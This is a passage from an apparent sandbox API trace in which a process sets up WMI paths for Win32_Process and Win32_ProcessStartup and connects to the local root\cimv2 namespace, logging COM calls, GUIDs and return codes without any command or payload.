puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0073.537] WbemDefPath:IWbemPath:GetText (in: This=0x1169bc0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0073.537] WbemDefPath:IWbemPath:GetText (in: This=0x1169bc0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0073.538] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169bc0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0073.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169bc0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0073.538] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169bc0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0073.538] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0073.538] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0073.538] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0073.538] IUnknown:Release (This=0x111f638) returned 0x1 [0073.540] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1beceae0) returned 0x0 [0073.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beceae0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0073.540] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beceae0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1169b00) returned 0x0 [0073.540] WbemDefPath:IUnknown:Release (This=0x1beceae0) returned 0x0 [0073.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1169b00) returned 0x0 [0073.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0073.540] WbemDefPath:IUnknown:AddRef (This=0x1169b00) returned 0x3 [0073.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0073.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0073.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1beceb20) returned 0x0 [0073.541] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beceb20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.541] WbemDefPath:IUnknown:Release (This=0x1beceb20) returned 0x3 [0073.541] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0073.541] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0073.541] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0073.541] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x2 [0073.541] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x1 [0073.541] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0073.541] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0073.541] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169b00, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1169b00) returned 0x0 [0073.541] WbemDefPath:IUnknown:AddRef (This=0x1169b00) returned 0x3 [0073.541] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x2 [0073.541] WbemDefPath:IWbemPath:SetText (This=0x1169b00, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169b00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169b00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169b00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169b00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169b00, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0073.541] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.541] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0073.542] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0073.542] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0073.542] IUnknown:Release (This=0x111f638) returned 0x1 [0073.543] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1beceb60) returned 0x0 [0073.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beceb60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0073.543] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beceb60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1169a40) returned 0x0 [0073.543] WbemDefPath:IUnknown:Release (This=0x1beceb60) returned 0x0 [0073.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1169a40) returned 0x0 [0073.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0073.544] WbemDefPath:IUnknown:AddRef (This=0x1169a40) returned 0x3 [0073.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0073.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0073.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1beceba0) returned 0x0 [0073.544] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beceba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.544] WbemDefPath:IUnknown:Release (This=0x1beceba0) returned 0x3 [0073.544] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0073.544] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0073.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0073.544] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x2 [0073.544] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x1 [0073.544] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0073.544] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0073.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169a40, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1169a40) returned 0x0 [0073.545] WbemDefPath:IUnknown:AddRef (This=0x1169a40) returned 0x3 [0073.545] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x2 [0073.545] WbemDefPath:IWbemPath:SetText (This=0x1169a40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0073.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169a40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.545] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0073.545] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.545] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0073.545] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0073.545] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0073.545] IUnknown:Release (This=0x111f638) returned 0x1 [0073.546] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bececa0) returned 0x0 [0073.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececa0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0073.546] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bececa0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bececc0) returned 0x0 [0073.546] WbemLocator:IUnknown:Release (This=0x1bececa0) returned 0x0 [0073.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bececc0) returned 0x0 [0073.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0073.570] WbemLocator:IUnknown:AddRef (This=0x1bececc0) returned 0x3 [0073.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0073.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0073.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0073.570] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0073.570] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0073.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0073.570] WbemLocator:IUnknown:Release (This=0x1bececc0) returned 0x2 [0073.570] WbemLocator:IUnknown:Release (This=0x1bececc0) returned 0x1 [0073.570] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0073.570] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0073.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1bececc0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bececc0) returned 0x0 [0073.571] WbemLocator:IUnknown:AddRef (This=0x1bececc0) returned 0x3 [0073.571] WbemLocator:IUnknown:Release (This=0x1bececc0) returned 0x2 [0073.571] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169a40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.571] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0073.571] WbemDefPath:IWbemPath:GetText (in: This=0x1169a40, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.571] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1becece0) returned 0x0 [0073.571] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1becece0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11dacb0) returned 0x0 [0073.793] WbemLocator:IUnknown:QueryInterface (in: This=0x11dacb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11dfa20) returned 0x0 [0073.793] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfa20, pProxy=0x11dacb0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0073.793] WbemLocator:IUnknown:Release (This=0x11dfa20) returned 0x1 [0073.794] WbemLocator:IUnknown:QueryInterface (in: This=0x11dacb0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11dfa60) returned 0x0 [0073.794] WbemLocator:IUnknown:QueryInterface (in: This=0x11dacb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11dfa20) returned 0x0 [0073.794] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfa20, pProxy=0x11dacb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0073.794] WbemLocator:IUnknown:Release (This=0x11dfa20) returned 0x2 [0073.794] WbemLocator:IUnknown:Release (This=0x11dfa60) returned 0x1 [0073.794] CoTaskMemFree (pv=0x11f0560) [0073.794] WbemLocator:IUnknown:AddRef (This=0x11dacb0) returned 0x2 [0073.794] WbemLocator:IUnknown:Release (This=0x1becece0) returned 0x0 [0073.795] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0073.795] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0073.795] WbemLocator:IUnknown:QueryInterface (in: This=0x11dacb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11dfa30) returned 0x0 [0073.795] WbemLocator:IRpcOptions:Query (in: This=0x11dfa30, pPrx=0x1beced40, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0073.795] WbemLocator:IUnknown:Release (This=0x11dfa30) returned 0x2 [0073.795] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0073.796] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0073.796] WbemLocator:IUnknown:QueryInterface (in: This=0x11dacb0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11dacb0) returned 0x0 [0073.796] WbemLocator:IUnknown:Release (This=0x11dacb0) returned 0x2 [0073.796] SysStringLen (param_1=0x0) returned 0x0 [0073.796] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: 